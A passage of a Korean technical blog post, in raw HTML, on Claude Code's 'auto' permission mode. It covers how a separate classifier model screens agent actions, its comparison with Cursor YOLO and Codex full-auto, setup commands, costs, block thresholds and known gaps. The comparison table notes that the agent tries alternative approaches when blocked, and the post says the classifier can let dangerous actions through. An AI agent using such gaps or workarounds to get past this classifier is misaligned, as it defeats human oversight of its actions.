&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;격리 환경 필수&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: &lt;b&gt;&quot;무조건적인 승인&quot;이 bypassPermissions라면, auto는 &quot;AI에게 판단을 위임&quot;하는 것이다.&lt;/b&gt; (커뮤니티 표현 인용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;vs Cursor / Codex&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티에서의 반응은 &quot;난 그래서 커서를 좋아함. 이미 있는 기능 ㅋㅋ&quot;이라는 반응이 나왔고, 반대로 &quot;이제 커서를 쓸 필요가 없는 거 아닌가&quot;라는 답글도 달렸다. 실제 차이를 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Code Auto&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cursor Yolo&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Codex full-auto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전 분류기&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;별도 LLM (Sonnet 4.6)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;없음 (전면 자동 승인)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 격리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;차단 시 대응&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;대안 접근 시도&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 내에서만 작동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;서브에이전트 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;생성/실행/완료 3단계&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스 기반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md 참조&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 읽음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;미지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;표만 보면 비슷해 보이지만, &lt;b&gt;철학이 다르다.&lt;/b&gt; Claude Auto mode는 &quot;런타임에서 AI가 판단한다&quot; &amp;mdash; 유연하지만 확률적이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex full-auto는 &quot;OS 샌드박스가 물리적으로 격리한다&quot; &amp;mdash; 딱딱하지만 결정적이다. Cursor YOLO는 &quot;그냥 전부 승인한다&quot; &amp;mdash; 빠르지만 안전장치가 없다. 어떤 접근이 나은지는 팀의 위험 허용도에 따라 다르다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교 전제&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 비교는 2026-03-25 기준이다. Claude Code Auto(리서치 프리뷰), Cursor YOLO(해당일 공개 기능), Codex full-auto(샌드박스 기반). 각 제품의 업데이트 주기가 빠르므로 최신 공식 문서를 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 설정 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2JqY3/dJMcahX9J4N/lClDYf85l8ukQkJGM7Xaj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2JqY3%2FdJMcahX9J4N%2FlClDYf85l8ukQkJGM7Xaj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1952&quot; height=&quot;1112&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLI에서 활성화&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. auto mode 활성화하여 시작
claude --enable-auto-mode

# 2. 세션 중 Shift+Tab으로 모드 전환
#    default &amp;rarr; acceptEdits &amp;rarr; plan &amp;rarr; auto

# 3. 직접 모드 지정하여 시작
claude --permission-mode auto --enable-auto-mode

# 4. 비대화형 모드에서 사용
claude -p &quot;전체 테스트 리팩토링&quot; --permission-mode auto --enable-auto-mode

# 5. 기본 차단/허용 규칙 확인
claude auto-mode defaults&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;VS Code / Desktop에서 활성화&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;VS Code:&lt;/b&gt; Settings &amp;rarr; &quot;Allow dangerously skip permissions&quot; 활성화 &amp;rarr; 프롬프트 박스 하단의 모드 인디케이터 클릭 &amp;rarr; &quot;Auto&quot; 선택&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Desktop:&lt;/b&gt; Organization Settings &amp;rarr; Claude Code &amp;rarr; Auto mode 토글 ON &amp;rarr; 전송 버튼 옆 모드 셀렉터에서 &quot;Auto&quot; 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;관리자 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Team/Enterprise 관리자는 조직 전체에서 auto mode를 비활성화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;disableAutoMode&quot;: &quot;disable&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 비용과 성능 영향&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 공짜가 아니다. 분류기가 각 작업마다 별도로 실행되므로 추가 비용이 발생한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;토큰:&lt;/b&gt; 분류기 호출이 메인 세션과 동일하게 토큰 사용량에 집계된다. 각 검사에서 대화 트랜스크립트 일부 + 대기 중인 작업이 분류기에 전송된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;비용 발생 시점:&lt;/b&gt; 주로 shell 명령어와 네트워크 작업에서 발생. 읽기 전용 작업과 워킹 디렉토리 내 파일 수정은 분류기를 거치지 않으므로 추가 비용 없음.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;지연:&lt;/b&gt; 각 분류기 검사에 라운드트립이 추가된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 제한사항 및 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;리서치 프리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안전을 보장하지 않는다. bypassPermissions보다 나은 보호를 제공하지만, 수동 검토만큼 철저하지는 않다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오탐 가능&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분류기가 안전한 작업을 차단하거나, 위험한 작업을 허용할 수 있다. 사용자 의도가 모호하거나 환경 맥락이 부족할 때 오판 가능성이 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;플랜 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Team 전용. Pro/Max/Free 사용자는 아직 사용 불가.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;모델 제한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Sonnet 4.6, Opus 4.6만. Haiku, Claude 3 계열, Bedrock/Vertex 미지원.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;비대화형 모드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;-p&lt;/code&gt; 플래그와 함께 사용 시, 폴백이 트리거되면 사용자 프롬프트가 불가능하므로 세션이 중단된다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;웹/모바일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;claude.ai/code 클라우드 세션에서는 Auto mode 사용 불가. Remote Control 세션에서도 미제공.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;폴백 임계치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;연속 3회 또는 세션당 총 20회 차단 시 수동 모드로 전환. 이 값은 변경할 수 없다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;커뮤니티 질문과 공식 문서를 바탕으로 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. Shift+Tab을 눌러도 auto 옵션이 안 보인다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &lt;code&gt;--enable-auto-mode&lt;/code&gt; 플래그 없이 시작했거나, Team 플랜이 아니거나, 지원 모델(Sonnet 4.6/Opus 4.6)을 사용하지 않거나, 조직 관리자가 auto mode를 활성화하지 않은 경우. Team/Enterprise에서는 관리자가 먼저 Claude Code 관리 설정에서 auto mode를 켜야 사용자가 활성화할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 올바른 시작 방법
claude --enable-auto-mode&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q2. Auto mode인데 자꾸 승인을 묻는다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 폴백 임계치에 도달했다 (연속 3회 또는 세션당 20회 차단). 의도된 동작이다. 차단이 쌓이면 Claude가 직접 사용자에게 물어보도록 설계되어 있다. 승인하면 카운터가 리셋되고 auto mode가 재개된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q3. 우리 팀 저장소에 push하는 것도 차단된다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; 분류기가 해당 저장소를 신뢰할 수 있는 대상으로 인식하지 못한 경우.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; &lt;code&gt;autoMode.environment&lt;/code&gt; 설정에서 신뢰할 리포, 버킷, 내부 서비스를 등록한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. Pro/Max인데 언제 쓸 수 있나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;현재(2026-03-24) 공식 발표에는 Pro/Max 확대 일정이 포함되어 있지 않다. Team &amp;rarr; Enterprise &amp;rarr; API 순서로 롤아웃이 진행 중이며, 개인 플랜은 추후 발표를 기다려야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto mode는 &quot;일일이 승인 vs 전면 방치&quot;라는 양자택일에 세 번째 선택지를 만들었다. 별도의 분류기가 각 작업을 심사하고, 서브에이전트까지 3단계로 검사하며, 프롬프트 인젝션 방어 구조도 갖추고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 Simon Willison이 &lt;a href=&quot;https://simonwillison.net/2026/Mar/24/auto-mode-for-claude-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;자신의 블로그&lt;/a&gt;에서 지적했듯이, &quot;AI 분류기는 확률적 판단이지 하드 보증이 아니다.&quot; Reddit과 HN 커뮤니티의 합의도 같다 &amp;mdash; &lt;b&gt;&quot;편리한 레이어이지, 신뢰할 수 있는 보안 경계는 아니다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 쓰고, 언제 쓰지 않는가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YIkwc/dJMcadVIwug/kaZQEk0Yj1u7IL5KaZaMF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYIkwc%2FdJMcadVIwug%2FkaZQEk0Yj1u7IL5KaZaMF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1096&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #28a745; font-weight: 600;&quot;&gt;Auto mode를 쓰세요&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #dc3545; font-weight: 600; background-color: #f8d7da;&quot;&gt;아직 쓰지 마세요&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;개발 브랜치에서 리팩토링/테스트 반복&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;운영 DB나 운영 키를 직접 만지는 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;새 기능 구현 후 빌드+테스트 루프&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프로덕션 배포/마이그레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;긴 탐색 작업 (코드 분석, 문서 생성)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;인프라 권한(IAM) 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;샌드박스/컨테이너 환경에서의 실험&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Pro/Max/Free 개인 플랜 (아직 미지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 가이드&lt;/h3&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1052&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWUAjr/dJMcabKrznN/xqM8elvToXEZcMWAZp6eRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWUAjr%2FdJMcabKrznN%2FxqM8elvToXEZcMWAZp6eRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1052&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1052&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;&lt;br /&gt;권장 도입 순서&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; 샌드박스 리포에서 30분 테스트. &lt;code&gt;claude --enable-auto-mode&lt;/code&gt;로 시작, 분류기가 뭘 차단하는지 관찰.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; 비프로덕션 브랜치에서 실제 개발 작업에 적용. &lt;code&gt;claude auto-mode defaults&lt;/code&gt;로 기본 규칙 확인 후 필요 시 &lt;code&gt;autoMode.environment&lt;/code&gt;에 신뢰 리소스 등록.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;운영 리포:&lt;/b&gt; default 모드를 유지하되, 예외적으로 Auto를 허용. 1주간 로그를 검토한 뒤 조직 정책을 확정.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 블로그: &lt;a href=&quot;https://claude.com/blog/auto-mode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Auto mode for Claude Code&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공식 문서: &lt;a href=&quot;https://code.claude.com/docs/en/permission-modes&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Choose a permission mode&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;TechCrunch: &lt;a href=&quot;https://techcrunch.com/2026/03/24/anthropic-hands-claude-code-more-control-but-keeps-it-on-a-leash/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic hands Claude Code more control&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;SiliconANGLE: &lt;a href=&quot;https://siliconangle.com/2026/03/24/anthropic-unchains-claude-code-auto-mode-allowing-choose-permissions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic unchains Claude Code with auto mode&lt;/a&gt;&lt;/li&gt;
